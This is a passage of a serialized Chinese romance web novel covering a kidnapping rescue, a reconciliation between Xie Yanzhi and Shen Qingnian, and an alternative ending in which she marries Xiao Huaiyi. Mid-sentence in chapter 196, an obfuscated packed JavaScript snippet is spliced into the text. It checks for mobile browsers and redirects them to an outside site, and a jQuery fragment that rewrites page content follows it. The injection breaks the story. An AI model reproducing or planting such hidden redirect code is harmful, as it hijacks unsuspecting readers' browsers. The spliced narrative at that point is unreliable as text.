马车一会儿就到了客栈外,谢宴之翻身下马,又挥手示意随行的侍卫将整间客栈团团围住。 沈清念掀开帘子要出来,谢宴之道:“你就待在车里。” 据那掌柜所说,里面那几人长相凶狠,身形魁梧,个个都带着半米长的大刀。 谢宴之怕沈清念进去有危险,只能让她先留在车内。 谢宴之带着几个侍卫进了去。 没一会儿,里面便传来兵刃相接的声音,沈清念坐在马车里,坐立难安。 她方才看到那么多人提着刀进去,刀剑无眼,万一伤到孩子怎么办? 想到这儿,沈清念从马车上下来。 正欲抬脚,又听见里面传来孩子稚嫩的哭声。 是糯糯! 沈清念提着裙摆,脚步踉跄着往客栈里冲。 刚到门口,便与一个往外闯的人影撞了个正着。 “别动!” 粗哑的声音在耳边传来,一把大刀瞬间架在了她的脖子上。 沈清念这才看清,客栈里一片狼藉,地上还横着几个人,不知是死是活。 方才这里显然是经过了一番激战。 谢宴之正抱着沈糯糯,沈清念见他鼻尖通红,眼泪还挂在脸颊上,她确定刚刚就是糯糯在哭。 旁边几个衙役也抱着两个瑟瑟发抖的小孩儿,想来是一同被掳走的。 “娘亲!”沈糯糯瞥见沈清念被刀架着,也知道娘亲有危险了,小手伸着要往沈清念那边扑。 谢宴之的目光如鹰隼般看着那人,眼底满是愠怒。 那人敢伤她试试! 他又眼神复杂地看了一眼沈清念,他明明让她在车里等着,怎么偏就这么不听话! 那悍匪勒着沈清念的胳膊,刀尖又贴近了几分,对着谢宴之吼道:“不然我现在就杀了她!给我备好马车!” 元青见状,只好朝旁边的侍卫递了个眼色,让开了一条道。 谢宴之盯着悍匪的刀,又看了眼沈清念发白的脸,缓缓抬手示意众人退后。 悍匪见状,挟持着沈清念步步退到马车上,扬鞭抽在马背上,马车瞬间绝尘而去。 “叔叔!快救救娘亲!”沈糯糯趴在谢宴之怀里,哭声不止。 谢宴之将孩子小心翼翼地递给给元青,沉声道:“看好小主子”。 然后翻身上马,朝着马车离去的方向追了上去。 车架上,悍匪的刀始终架在沈清念颈间,看着后面的谢宴之骑马追来。 心里怒意腾起。 他又瞥了一眼眼前的小娘子,眼底闪过一丝精光。 “看来你对他很重要。” 这人追了他们这么久,全然没有要放过他的意思。 他又见谢宴之的目光一直盯着身旁的小娘子,恍然大悟。 原来他是在追这个小娘子。 “那是你的相好?” 那悍匪问道。 沈清念也瞥见了谢宴之的身影,她淡淡道:“不是!” 悍匪看了一眼前方又道:“就算不是你相好的,你对他来说,定是重要的人。” “他杀了我四个兄弟,我也要让他尝尝失去那滋味!”说罢,他猛地推开沈清念跳下了马车。 沈清念被他推倒在车架上,还没反应过来那人为何要跳车,就见前面已经无路。 而马儿被那人用刀划了一刀,正发狂地往前冲去。 沈清念心瞬间沉到了谷底,手紧紧抓着车架,闭上了眼睛。 “沈清念,把手给我!” 危急关头,谢宴之的声音从身后传来。 沈清念几乎是本能地伸出手,谢宴之拉住她的手,猛地将她拉离了马车。 沈清念睁开眼睛,看到马车冲下悬崖,摔下了下面的深渊。 她抬头一看,谢宴之正死死攥着她的手,他另一只手抠住了悬崖边的岩石,两人双双悬在半空。 她看到他额头青筋凸起,面色通红,显然是在苦苦支撑着。 悬崖之下深不见底,掉下去生死难料,糯糯不能没了娘亲,又没有爹。 如果没有她,谢宴之凭着功夫定能上去。 “谢宴之,你快松手!”沈清念冲他喊道。 “别动!”谢宴之低沉道。 “你知道我不会放手的!” “没想到,你对她倒是情深。” 悍匪不知何时来了悬崖边,看着半空的两人,脸上露出阴狠的笑,“那我就帮你们一把!” 他抬起脚,狠狠踩在谢宴之抠着岩石的手上,反复碾压。 谢宴之的手指被踩得生疼,额上瞬间渗出冷汗。 他却只是用那双冰冷的眸子死死盯着那悍匪,没有发出一点声音。 “还不松手!”悍匪见他不肯妥协,举起刀就要往谢宴之的手臂砍去。 谢宴之眼中寒光一闪,猛地松开抠着岩石的手。 又将沈清念往怀里一带,两人一同朝着悬崖坠落下去。 第一百九十五章 从前是我不对 悍匪见状,对着悬崖道:“去死吧!” 他和那四个兄弟每到一个新的地方,就要绑几个掌柜家的孩子,索要银两。 今日才抓了没一会儿,这厮就带人进来杀了他们个措手不及。 害得他那几个兄弟当场就死了。 现在看到谢宴之掉下悬崖,他咧开嘴正要大笑。 身后就飞来一支冷箭,狠狠穿透他的胸口。 他闷哼一声,身体一软,也跟着掉了下去。 元青带着人匆匆赶到悬崖边,一眼看下去什么都没有。 他转头对着身后的侍卫喊道:“快!赶紧下去寻人!” 周刺史此时也带着衙役赶来,得知谢宴之掉到了悬崖下,立刻吩咐人跟着元青一起去崖下寻人。 谢宴之抱着沈清念一起坠入悬崖,掉进了寒潭之中。 眼见沈清念要晕厥过去,他强忍着剧痛,将沈清念人拉上了岸。 他筋疲力竭地躺在潭边的草地上,胸口剧烈起伏着。 沈清念趴在地上咳嗽了好一会儿,才缓过劲来,转头看向谢宴之,又看了看四周。 这里全是茂密的树林,连只飞鸟也不曾见到,沈清念这下明白了,二人正处在一片深山中。 她看着谢宴之道:“方才让你松手你怎么不松?” 现在好了,两个人都被困在这儿了! 谢宴之却撑着手臂坐起来,反问道:“我让你待在车里,你怎么偏要下来?” “我听到糯糯哭了……”沈清念的声音弱了下去。 若是她待在车里,就不会被人挟持,他们两个也不会困在这里。 “你该信我的。” 谢宴之看着她,语气软了几分,“我是糯糯的爹,定不会让他有事的。” 沈清念别过脸,没再说话。 就在这时,远处传来几声狼嚎,悠长而凄厉。 听到那声音,沈清念不自觉颤了颤。 谢宴之抬手指了指:“去那儿躲躲。” 沈清念顺着他的手看过去,见那里是一个山洞。 她缓缓起身,朝那山洞走去。 却听见谢宴之道:“我不能走了。” 沈清念回头,才见谢宴之撑着腿站起来时,身形明显一瘸一拐的。 她这才想起,方才坠落时,谢宴之是用自己的身子替她撞在了峭壁上。 想来是那时伤了腿。 她心头涌上一丝复杂的情绪,咬了咬唇,快步上前扶住他,朝那山洞走去。 见状,谢宴之嘴角带了些浅浅的笑意。 沈清念又趁着天色未黑,在洞口拾了些干柴,用火折子点燃,山洞里终于有了些许暖意。 她裹紧了湿透的衣裳,嘴唇冻得发乌,身子控制不住地轻轻颤抖。 谢宴之倒是没觉得有什么不妥。 他直接脱下自己的衣裳,放在火边烤。 沈清念瞥见他赤裸的上身,耳尖瞬间泛红,赶紧转过头去,双手紧紧抱着自己缩在一边。 一会儿,却见一件衣裳兜头罩了下来,将她整个人裹住。 谢宴之的声音从头顶传来:“快换上,将你的湿衣裳脱下来烤干。” 沈清念掀起衣裳一角看他,眼神里满是警惕。 谢宴之明白她的意思,转过身去道:“换吧,我不看。” 若是从前,他定不会轻易转过身,说不定还会借着机会逗弄她几句,看她窘迫的模样。 可想起她方才为了离开他,连孩子都能舍下的模样,他心里又泛起一阵涩意。 沈清念看着他的背影,眼底闪过一丝诧异。 他竟然没有趁人之危? 她本不想穿他的衣裳,可是为了糯糯,自己必须好好活着。 于是咬了咬牙,快速脱下湿衣裳,将谢宴之的衣裳穿上。 “好了。”她轻声开口。 谢宴之转过身时,见她扯着衣裳,想要遮住半露在外的膝盖。 他忽然看见那里有一道浅粉色的疤痕,是他那次要她跪下喂茶水被碎瓷划伤留下的。 他的眼神暗了暗,没说什么,转身走出了山洞。 沈清念愣了愣,不知他又要发什么疯? 她悄悄探出头,往洞口望了一会儿,见谢宴之手里攥着一根藤条走回来。 谢宴之见到沈清念的身影在洞口一晃而过,心里有些高兴。 看来,她还是有些担心他的。 谢宴之走到沈清念跟前,将藤条塞进她的手中。 沈清念满眼诧异,不知他这是要做什么。 “从前是我不对,不该让你跪瓷片,不该逼你出去乞讨,害你被人指指点点。” 沈清念握着藤条的手紧了紧,指尖泛白。 “你拿着它,”谢宴之的声音带着一丝沙哑,“随你打多少鞭,我都受着。 “只盼着你打过之后,别再生我的气。” 沈清念看着他赤裸的后背,想起当初跪在碎瓷片上的刺骨疼痛,想起被人围观嘲笑的屈辱,眼眶瞬间红了。 她扬起藤条,狠狠往他背上抽去,一道红痕瞬间浮现。 随后,她将藤条扔在地上:“毕竟你从未打过我。 “但为着那一跪,我打你这一鞭!” “你我便两不相欠了!” 谢宴之闻言,转身看向着沈清念道:“那你可消气了?” “可愿原谅我?” 沈清念冷言道:“可你从前欺我辱我,我不会轻易原谅。” “你凭什么欺我辱我!就因为我是商户女,身份低微吗?” 她似自言自语般,蹲坐在地上,眼里的泪终于滚落下来。 “”我就只想开一间小铺子,够养活我和母亲就好,凭什么你一句话,就让人烧了我的铺子。” 谢宴之见她哭得厉害,起身伸手扶住她的肩,眼底满是自责:“都是我不好!” “我把我名下所有的铺子都给你,好不好?” “不必了。”沈清念用力推开他,往后退了一步。 “我只盼着以后与世子再无瓜葛。” 谢宴之上前一步,将人圈住:“我不要我们之间毫无瓜葛。” “沈清念,我以后定会敬你爱你,你就看看好不好?” “爷!” 就在这时,洞口传来元青的声音。 他领着几个侍卫冲了进来,抬眼就看见自家爷赤裸着上身,后背上那道鞭痕格外刺眼。 爷这是被清姑娘打了? 再看清姑娘,身上只穿着一件爷的里衣,脸上挂着泪痕,一副受了委屈的模样。 元青心里咯噔一下,难道爷求和不成又对清姑娘用强了? 其余侍卫看到这一幕,也都愣住了,相互看了看后,赶紧识趣地转过了身。 第一百九十六章 娘亲再给你找一个爹爹 沈清念垂着眼烘着自己的衣物,一个眼神也没有再给谢宴之。 谢宴之坐在她对面,看她神色淡淡,也不知她在想什么。 只等两位主子烘干衣裳再做安排。 直到二人换好干爽衣物走出洞口,沈清念依旧没跟谢宴之说过一句话。 谢宴之一瘸一拐跟在她身后,脚下踉跄了一下,险些栽倒。 “爷!”元青快步上前想扶,声音里带着紧张。 谢宴之却摆了摆手,只抬眼望向前面的身影。 沈清念连脚步都没顿一下,仿佛没听见身后的动静。 元青看着自家主子落寞的模样,也只能把话咽了回去。 回到香料铺,沈糯糯老远就扑了过来,抱着沈清念的腿要抱抱。 谢宴之也走了进来,径直坐在铺里的八仙椅上,慢悠悠地端起茶杯啜饮,一副主人姿态。 “你还不走?”沈清念将糯糯抱在怀里,明显是想让谢宴之赶紧离开。 谢宴之放下茶杯,看了一眼自己受伤的腿问道:“苏娘子,我的腿是因你所伤,难不成苏娘子打算不管不顾?” “我可以送你去医馆。”沈清念不假思索地回应。 想着谢宴之想要趁着受伤赖在这里,天天在她面前出现,沈清念更是没有一丝好脸色。 “衣食住行都在医馆,终究不方便。”谢宴之轻轻摇头,话里头的暗示再明显不过。 沈糯糯趴在娘亲怀里,看着娘亲要将谢宴之赶走,小眉头皱了起来。 “娘亲,谢叔叔救了我,还救了你,我们不是该报恩吗?” “娘亲不要赶谢叔叔走。” 沈清念仍是皱着眉,不肯松口。 “娘亲平时总说,做人要知恩图报的。”沈糯糯又扯了扯沈清念的袖子。 谢宴之闻言,看向沈糯糯的眼神又宠溺了许多,嘴角勾起一抹浅笑。 沈糯糯用小手摸了摸谢宴之的腿问道:“叔叔,腿还疼吗?” 谢宴之故意提高了音量:“疼。” 沈糯糯又道:“那我给叔叔吹吹。”说着,就轻轻吹了吹。 谢宴之眼中含笑看了看沈糯糯,又看了眼沈清念。 沈清念瞥见他这副模样,没再多说,转身回了后院。 罢了,他的腿是因她伤的,待他养好伤,就将他赶走! 夜里,沈清念领着谢宴之进了屋子道:“这是杂物间改的屋子,世子若是住不惯,可以去住客栈。” “我住。”谢宴之回答得很快。 好不容易留了下来,他可不会轻易离开。 接下来几日,谢宴之常坐着轮椅带沈糯糯上街,糖人、风车、木偶戏……几乎把街上的小玩意儿买了个遍。 又过了几日,沈糯糯吵着要去湖上划船,沈清念拗不过他,只好带他去,一同去的自然还有谢宴之。 到了夜里,糯糯更是直接拉着谢宴之的手,要他进房给他讲故事。 等沈清念端着温水过来时,只见谢宴之靠在床头,怀里抱着糯糯,两人都已经睡得安稳。 她站在门口看着那一大一小两张相似的脸,眼里带了些复杂的情绪,片刻之后,她轻轻带上了房门。 一日,刘妈带糯糯在街头玩,不小心撞到了一位小公子,那小公子当即就哇哇哭了起来。 沈糯糯正欲上前道歉,却听见那小公子的奶娘上下打量着糯糯,语气轻蔑:“这不是那个没爹的孩子吗?” 他们老爷的铺子与沈清念的铺子就相隔一条街,人人都知道苏娘子只有个孩子,没有夫君。 “你才没爹!”糯糯攥着小拳头,腰杆挺得笔直,刘妈也面露不悦,心道那奶娘不该在小孩子面前胡说。 回去的路上,沈糯糯没再像往常一样叽叽喳喳,只是低着头不说话。 刚到铺子门口,他就一溜烟跑进后院,扑到沈清念怀里:“娘亲,他们都说我是没爹的孩子……”沈清念转头,见他眼眶红红的,睫毛上还挂着未干的泪珠,模样委屈得让人心疼。 “你有爹啊,每个孩子都有爹。”她轻轻擦去糯糯的眼泪。 “那我爹是谁呀?他长什么样?”糯糯仰着小脑袋,眼里满是期待。 恰在此时,谢宴之从外面走进来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16626912|182920||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,正看见沈清念抱着糯糯坐在秋千上,轻声说道:“你爹……”糯糯盯着沈清念,眼里满是期待。 沈清念顿了顿:“你爹很有钱。” 谢宴之闻言,怔了怔,他没想到沈清念会先想到这个。 “还有呢?”糯糯显然不满意这个答案,小脑袋凑得更近了。 “你爹身材纤长,比娘高上不少。” “那他长得好看吗?”小家伙想知道的太多,又迫不及待问道。 沈清念脑海里不由自主浮现出谢宴之的脸,轻声道:“好看是好看。” 话音刚落,又补充了一句,“但是他脸太黑了。” “脸黑?”糯糯眨了眨眼。 看着小家伙一脸疑惑的样子,沈清念又道:“他总是黑沉着脸,很少笑。” 沈清念搂着糯糯,语气里带着几分自己都未曾察觉的复杂。 糯糯皱着小眉头,似懂非懂地点了点头。 过了一会儿,又追问道:“那我爹在哪儿呀?他怎么都不来找糯糯和娘亲?” 沈清念沉默了一瞬说道:“你爹他……**。” 不远处的谢宴之听到这话,手指猛地攥紧。 **? 沈清念还是不肯告诉糯糯他究竟是谁吗? 糯糯闻言,哭了起来:“那我就是没爹的孩子了。” 沈清念见他那可怜的模样,轻声哄着道:“娘亲再给你找个爹爹吧。这样,我的糯糯就有爹爹了。” “真的吗?”糯糯突然抬头,眼里带着认真。 沈清念笑着点点头。 见状,小家伙擦了擦泪,往沈清念怀里钻了钻:“娘亲,我想自己选爹爹。” 沈清念一愣,这小家伙竟将她刚刚说的话当真了。 “那糯糯想选谁当爹?”沈清念好奇地问。 “萧叔叔和谢叔叔。”小家伙不假思索道。 沈清念却吓了一跳。 “娘亲只能选一个人给你当爹。”沈清念伸手比了一根手指。 “啊?”小家伙歪着脑袋,似乎在陷入了两难。 “那就选……”糯糯想到了谁,满脸兴奋。 第一百九十七章 大结局一 “糯糯!” 谢宴之的心瞬间提了起来,快步朝秋千这边走过来。 要是糯糯选了萧怀意,那沈清念就不会再给他一丝机会了。 他也不确定糯糯会选他,那眼下最稳妥的法子就不要让他说出口。 所以谢宴之快步走过来,打断了糯糯还未说出的话。 沈清念回头看见他,脸上闪过一丝惊讶。 不知他何时来的,刚才的话又被他听去了多少。 沈糯糯一见谢宴之,立刻从沈清念怀里跳下来,扑过去抱住他的脖子喊道:“谢叔叔!” 谢宴之一把抱起小家伙,一脸质问地看着沈清念。 他好好地站在这里,她怎么敢说他死了! 沈清念看着他,也不心虚。 她本就打算老死不与他相往来,说他死了,也是省得以后糯糯追问。 “娘亲,我想让谢叔叔给我当爹爹。” 沈糯糯用小手抚上谢宴之的脸,忽然开口道。 此话一出,沈清念的睫毛颤了颤,眼神复杂地看着面前的两人。 谢宴之看向沈清念,见她只是垂着眼不说话。 他转身看着道:“糯糯,我就是你……。” “谢宴之!”沈清念及时喝止了他。 她还没有想好如何告诉糯糯这件事,心里也不愿承认糯糯是谢宴之的孩子。 “既然世子的伤已好,还请早些离了我的院子。” 说完,她一把抱过糯糯,朝自己的屋子走去。 谢宴之看着她的背影,手指攥紧,朝着她的方向回了一声:“好。” 沈清念闻言,脚步顿了顿,最终还是掀了帘进了自己的屋子。 第二日,谢宴之果然带着元青搬出了铺子,乘船回了京城。 沈清念看了一眼那空荡荡的八仙椅,心口说不出是什么情绪,不过片刻,她又稳住了心神。 谢宴之走了,再也没人来打扰她过她的日子了。 半月后,谢宴之坐在观澜居的书案后,拿着手中的信纸,重重拍了拍桌面:“沈清念!” 她好大的胆子!真当他是死的! 元青看了一眼那信纸,上面乌漆嘛黑画了一个女子和一个男子的样子,那是小主子给他家爷写的信。 苏州,龙凤茶楼。 沈清念坐在窗边品茶,等着李秀才。 临街的刘掌柜非要她来见他侄儿一面,说他侄儿是个秀才,那日偶然见过她后,便让刘掌柜来说和。 沈清念一开始是拒绝的,不过后来她想了想,或许她可以和李秀才假成婚。 到时候,她再给他资助些钱财,供他京城考取功名,以后李秀才就在京城。 她就留在苏州,二人不再往来。 这样,她明面上有了夫君,糯糯也有了爹,旁人也不会在后面对他们两个议论纷纷。 这样想着,忽然感察觉面前坐下一个人。 “李秀才,……”沈清念边说边转过头去,却见谢宴之铁青着脸正审视着她。 他才走了半月,她就背着他来与别的男子相看,谢宴之着实气得不轻。 “怎么是你?”看到他来,沈清念眼底闪过一丝惊讶。 毕竟半个月前,谢宴之才走了,苏州到京城,水路一来一往,怎么也要月余。 “怎么不能是我?”谢宴之将她那神情看在眼里。她这是嫌他来得太快,坏了她的好事? 八百里加急的快马,自然比船快得多! “李秀才人呢?你将他如何了?”沈清念皱眉问道。 这个时辰,李秀才该到了。 谢宴之看着她担心别人的样子,心中不悦,却语气平静道: “回去了。” 方才那李秀才被他的人拦在楼下,他人还没有上前,那李秀才看了他一眼,就落荒而逃了。 谢宴之心里冷嗤,这样的人,还想沾染他的人! 眼下见沈清念还在问着那个孬种,他真该让她亲眼看看那人的怂样。 “我堂堂巡抚大人还比不上一个秀才吗?” “你就不能在我不在的时候乖一些?” 沈清念眼底有一丝惊讶:“巡抚大人?” “嗯。” “以后,我就在苏州不走了,就陪着你和糯糯。”谢宴之说着,自顾自喝起了茶。 沈清念这才明白,他上次那么轻易就答应离开,原来心中是这样盘算的。 谢宴之当日看沈清念的样子,想着还需要一些时间,让她接纳他。 一直奔波于两地之间,肯定是行不通的。 所以他一回到京城,就去宫里见了圣上,请了旨做着苏州的巡抚。 沈清念正欲说话,元青已经将糯糯带了过来。 沈糯糯一看到他,开心地扑到了他怀里,开口道:“爹爹!” 刚刚在来的路上,元青叔叔已经告诉了他,谢叔叔就是他的爹爹。 只是爹爹从前惹了娘生气,娘亲一直没有原谅爹爹,才骗他说他爹爹死了。 直到自己的爹爹没死,沈糯糯很开心。 更让他开心的是,谢叔叔就是他的爹。 沈清念听到沈糯糯叫谢宴之爹爹,她心下一惊。 糯糯转过来对沈清念道:“娘亲,你就原谅爹爹吧。” “爹爹生得这样好看,武艺高强,可以保护我和娘亲!” 沈糯糯说着,对谢宴之是越看越满意。 沈清念看着二人,久久没有说话。 后来,人人都知道巡抚谢大人每日下值后,都会去苏氏香料铺,想来是瞧上了那苏娘子。 只是苏娘子每次看见谢大人,脸色都不好看。 有一次,谢大人抬了聘礼上门,连人待物被苏娘子撵出了铺子去。 没想到谢大人第二日照常过来,跟没事儿人一样。 这日,门口来了一个熟悉的身影。 沈清念抬头就见萧怀意站在铺子前,面上带笑看着她,目光又转向她身旁正在专心写字的父子身上。 沈清念走到门前道:“萧公子,好久未见了。” 萧怀意点点头:“苏娘子,我是来向你辞行的。” “辞行?” 萧怀意解释道:“圣上为我与张大夫家的二小姐赐了婚,我今日就要回京了,顺道过来看看你们。” 萧怀意说着话,一直盯着沈清念看,想从她眼中看出些什么。 却见沈清念神色平静,没有一丝焦急或者难受,反倒是浅笑着对他道:“那便恭喜萧公子了。” “他对你们好吗?” 沈清念回头看了眼,正巧对上谢宴之的眼神。 沈清念回过头,点了点头。 此时,谢宴之来到了跟前,拱手道:“怀意,多谢你这几年对她们母子的照顾。” 萧怀意摆摆手:“只要巡抚大人好好珍惜眼前人就好。” 谢宴之和沈清念又将萧怀意送到了渡口乘船。 萧怀意在船上看着那二人渐渐远去的身影,心中一阵苦涩。 其实从那日糯糯跑向谢宴之的时候,萧怀意就有预感,他与沈姑娘之间,怕是再没机会了。 更何况,他三年前去澄西看过,沈家的人说有位京城来的世子,接走了沈夫人。 那时,他便知,一直以来,他都慢了他一步。 今日,若是沈姑娘肯出口挽留,他就会想尽法子为了她拒婚。 可他与她终究是错过了。 那他只好回京接受赐婚,从此无关风月,只图撑起萧家。 萧怀意负手,看着眼前的夕阳如画,此后这里的风景,再与他无关。 转眼又是一年。 天空突降大雨,谢宴之一身官服冲进院中,就见沈清念冒着雨在收晾晒的香料。 他赶紧上去帮忙。 二人手忙脚乱地收好香料之后,谢宴之看到桌上的信纸。 那上面有靖南侯府特有的标志。 “是二婶的信?”谢宴之一边拿着巾子帮沈清念擦着头发,一边问道。 “嗯。” 姨母在信里说,自二爷醒来后,就让姨母做了主母,如今在府中的日子很是舒心。 谢昭表哥半月前已经成婚,娶的正是刘昊的妹妹,刘尚书的女儿。 又说老夫人她们知道了糯糯的事,心中都很欢喜,盼着她早些将糯糯带回去瞧瞧。 信的最后,姨母提到她的母亲在四年前就被谢宴之接到了靖南侯府,让府上的人精心照料着。 如今一时清醒,一时又不清醒,醒了就总是喊沈清念的名字。 谢宴之还替她收拾了江家,还有她那个不称职的父亲沈昌银。 沈清念忽地抱住了谢宴之。 谢宴之浑身一颤,意识到沈清念在做什么,他的心一下子柔软下来。 这么久了,这时沈清念第一次主动抱着他。 她好像是原谅他了。 “怎么了?” 见沈清念紧紧依偎着自己。 沈清念摇摇头。 “我母亲的事,你为何不同我说?” 沈清念轻声道。 “怕你误会我。” 沈清念明白,谢宴之怕她误会他将自己的母亲扣在靖南侯府当人质,好逼她回去。 “你将沈昌银如何了?” 谢宴之漫不经心道:“那时他说想与你说说话,我便只好成全了他。让他日日去你的坟头说足一个时辰才许离开。” 沈清念闻言,带着浅浅笑意看着谢宴之:“我们何时出发?” 谢宴之闻言,面露惊喜:“你愿意同我回去?” 沈清念笑着道:“你请了这么多说客,难道不是想让我跟你回去?” 谢宴之在苏州的任期已满,必须离开苏州了。 再加上谢松衍已经写信给谢宴之,让他回去承袭侯位,他想回江南看看杨氏。 沈清念又道:“那你回去,还要给我物色温柔端庄的主母人选?” “回了京城,我八抬大轿将你娶进门,你就是主母。” “那你不许拘着我,我可是掌柜娘子。” “你想开多少铺子,便开多少铺子。” 谢宴之紧紧抱住了沈清念,在她额上落下了一吻…… 第一百九十八章 大结局二 萧怀意在牢房里醒了过来,觉得心里一阵发闷。 他方才做了好长一个梦。 梦里,沈姑娘跟谢宴之回了靖南侯府,他和沈姑娘也就此缘断了。 直到现在,他的心里还有深深的悔意。 萧怀意坐在草席上,想了一会儿。 从前,他总觉得要等一切准备好,才好迎娶沈姑娘。 可这个梦,却提醒他有些事根本等不得。 萧怀意招手:“平安,我要出去!” “是,公子!” 平安虽不解公子为何没按事先计划的那样,等大公子的人被谢世子抓了之后再出来。 但公子既然这样吩咐,定有他的道理。 连夜备好马匹,二人身披蓑衣,头戴斗笠,在滂沱大雨中纵马疾驰。 马蹄踏破雨幕,溅起漫天水花,萧怀意紧攥缰绳,无畏地看着前方。 这一次,他定要比他先一步找到她! 第二日蒙蒙亮,菱儿听见敲门声,她打开门一看就大喊起来:“小姐!萧公子来了!” 沈清念从里屋走出来,就见到萧怀意站在雨帘中。 四目相对的刹那,她看到了他眼里的血丝,下巴上也有些许青黑的胡茬,与平日里温润如玉的公子模样全然不同。 “对不起,我这副样子是不是有些失礼?”萧怀意开口问道。 沈清念笑着摇了摇头。 她原本还想过些日子去通州找他的,没想到他竟然来了。 “你怎么知道我在这里?” 沈清念只是有些好奇,萧公子是怎么找到她的。 “我做了一个梦,梦里你就在这里。” “所以,你就来了?” “嗯。”萧怀意点点头。 沈清念心头一震,望着他风尘仆仆的模样,鼻尖微微发酸。 就为了一个不知真假的梦,他就不顾一切地赶来? 又见萧怀意的身形颤了颤,沈清念忙伸手去扶住他: “萧公子,你怎么了?” “三日未曾合眼,让沈姑娘见笑了。”他低声道。 身旁的平安亦是一身泥泞,显然也是一路未歇。 沈清念忙将人领进了屋子。 “菱儿,将后院收拾一下,给萧公子和平安他们歇息。” “不必了。”萧怀意打断了她。 他起身目光灼灼地望着她:“沈姑娘,我想娶你为妻,不知你是否还愿意?” 沈清念没想到萧怀意会同她说这个。 可他已经知道了谢宴之的事,心里不会介怀吗? 萧怀意见沈清念低着头,眉间有些忧愁:“是因为谢宴之?” “他对我……”沈清念轻声道。 “沈姑娘,从前是我没有护好你,你受了委屈,我也不知情。” “以后,让我来好好护着你,好不好?”萧怀意的声音却坚定。 沈清念看着萧怀意之挚诚的眼睛,眼眶含泪,点了点头。 萧怀意蜷了蜷手指,伸手将沈清念拥在了怀里。 这一次,他终于先他一步,找到了她。 大雨停止后,谢宴之的马车停在了苏氏香珠铺对面。 “爷,这家的掌家娘子姓方。” 闻言,谢宴之抬眸:“就是她了。” “她人呢?” 元青闻言,忙低下头。 “方才敲了许久的门,也没人来应门。” 隔壁的伙计说,这铺子今日一直没开门。 瞧着,那方娘子并不在铺子里。 谢宴之眉头微皱:“不在?” “吩咐下去,盯紧了这铺子。” “再派人拿着画像去渡口看着。” 谢宴之说完,伸手捏了捏眉心。 沈清念应当不知道他来的消息,他要看看她能躲她几日。 “是。”元青领命。 “爷,我们现在去哪儿?” “陈刺使家!” 马车里的沈清念歪靠在萧怀意肩头沉沉睡去,待她再睁开眼,掀开帘子一看。 他们已经到了澄西,沈家。 她含笑看着萧怀意。 那日,萧怀意带她走时,她曾问他:“萧公子要带我去哪里?” 萧怀意道:“自然是回你们沈家。” “沈家?”沈清念好不容易才从那儿逃出来,她不想再回去。 “萧公子,我不回去。” 萧怀意笑了笑:“你不回去,我如何登门提亲?” 沈清念一下反应过来了,脸颊微红。 她也看出萧公子是真的要娶她为妻,不然也不会想着要去提亲。 “沈姑娘,我会八抬大轿,明媒正娶。” 此刻,萧怀意轻轻握住了她的手,一起往沈府走去。 沈昌银听下人来通报,说是沈清念回来了。 他让管家赶紧将这个不孝女带进来,又吩咐去将门堵住。 “既然回来了,就赶紧给江少爷送去。” 只是,管家面露难色:“大小姐不是一个人回来的。” “跟着一起来的公子说是想来向您求娶大小姐。” 正说着,萧怀意和沈清念已经来到了跟前。 “沈老爷。” 沈昌银见萧怀意之前,还想着他倒是要看看是哪个癞蛤蟆想吃天鹅肉。 如今人真到了眼前,瞧那气度,就是个贵人。 沈昌银带着些笑:“不知公子您是?” 萧怀意从腰间扯下一块腰牌,放在沈昌银眼前:“沈老爷看清了吗?” 沈昌银一脸狐疑,这腰牌看着十分贵重,可他没见过这些,也不知这腰牌的真假。 萧怀意见状,也知道他心中所想。 “平安,拿着我的腰牌,跟着沈府的管家,去将江县令请过来。” “我与沈姑娘的事,还想请江县令帮忙。” “是。”平安领命。 不一会儿那江县令便火急火燎地赶到了沈府。 他方才差人问过上面的人,那腰牌是太子亲赐的。 那此人来头定然不小。 那江县令一见萧怀意,立刻躬身行礼:“不知大人在此,下官有失远迎,恕罪恕罪!” 沈昌银见那江县令一见萧怀意就露出谄媚的笑,心底也没了疑惑。 当即就答应了二人的婚事。 萧怀意留在澄西,一面等候家中长辈登门提亲,一面妥善安排沈清念与沈夫人先行前往滇城筹备婚事。 从提亲到筹备婚礼,诸事繁琐,萧怀意竟只用了半月便已办妥。 菱儿扶着沈清念出嫁那日沈夫人哭得泣不成声,心里又很替沈清念高兴。 洞房里,沈清念忐忑地等着,片刻后,萧怀意推门而入,轻轻挑开了她的红盖头。 烛光下,她的脸颊羞得通红,眉眼间满是柔情。 萧怀意俯身,轻轻吻了上去。 而观澜居中,夜里寒风吹开了谢宴之房里的窗户。 他靠着书案小憩,恍惚间听到一声轻响。 他低头一看,是他送给沈清念的那支红宝石金簪从袖口滑出,掉落在地,那簪上的宝石已经碎裂。 谢宴之见状,心里忽然涌上一股不安。 他不知圣上为何急招他入宫来与太子一起讨论国子监休整一事,害他刚到云州的那日就匆匆离去,只留元青在云州继续寻着沈清念。 红烛一夜燃尽,大红帐子里,萧怀意看着枕边睡着的人,嘴角噙着温柔的笑意。 又伸手替她扯了扯被子,盖住了她身上那些印记。 昨夜他已经很控制,却好像还是伤到了她。 思及此处,萧怀意轻轻起身,吩咐人拿来药膏,又让伙房煮了补身的药汤。 只盼着自己的夫人醒了,不要太怪罪自己。 滇城四季如春,沈清念在这里过得充实又舒心。 如今苏氏香珠铺已经开了好几家分号,母亲每日也帮着打理铺子。 这日午后,沈清念坐在铺子里的藤椅上,手中绣着一个小小的肚兜,目光时不时飘向铺子门口。 菱儿见状抿着嘴笑道:“小姐又在盼姑爷了?” 平日里这个时辰,姑爷就会过来接小姐回府了。 话音刚落,萧怀意的身影便出现在门口,脸上带着温和的笑意:“夫人,久等了。” 说着,便将手中的糕点递了过去。 又拿了凳子坐在沈清念身边,伸手摸了摸她的肚子:“孩儿可好?有没有踢你?” 沈清念一脸温柔地摇摇头:“走吧,夫君,我想回家了。” 萧怀意点点头,一手扶着沈清念,一手撑着伞,二人一起朝萧府走去。 在离萧府不远的地方,停着一辆马车。 马车里,谢宴之掀起帘子一角,看着那女子在夫君的搀扶下,走了进去。 